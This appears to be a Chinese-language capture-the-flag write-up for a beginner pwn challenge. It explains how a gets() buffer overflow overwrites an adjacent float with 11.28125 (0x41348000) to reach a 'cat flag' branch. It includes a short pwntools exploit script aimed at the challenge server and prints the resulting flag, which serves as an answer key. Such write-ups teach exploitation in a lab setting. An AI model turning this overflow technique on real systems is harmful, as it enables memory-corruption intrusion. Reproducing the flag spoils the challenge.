檢查保護
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIyVGduV2YfNWawNyZuBnL0MzN2EDM0EjM3IDNwEjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
IDA
函數主體很簡單:初始化v2為0.0 ;輸入數字存進v1,然後讓v2和11.28125進行對比,相同則自動 cat flag
解題
gets函數明晃晃地擺在主函數裡,準備對v1動手。
可以看到v1長度 0x30,下面v2的長度為 0x4
進去瞅瞅:v1和v2緊挨着,而且v1覆寫v2的空間
那exp思路就很清晰了,把v1到v2首位址之間的空間都填滿,然後填進值11.28125,這樣就能覆寫v2初始化的0.0 進而滿足條件跳轉貓flag。
Tips:
關于11.28125的輸入:
浮點輸入可以用16進制表示,具體标準參照IEE754:
IEEE二進制浮點數算術标準(IEEE 754)是20世紀80年代以來最廣泛使用的浮點數運算标準,為許多CPU與浮點運算器所采用。
在C語言中,float通常是指IEEE單精确度(32位),而double是指雙精确度(64位)
11.28125轉換16進制表示如下:
EXP
from pwn import *
p=remote('node3.buuoj.cn',27898)
p.recvuntil("Let's guess the number.")
p.sendline('a'*(0x30-0x4)+p64(0x41348000))
p.interactive()
flag
flag{301a272a-7630-49fd-81b3-6537f6942cda}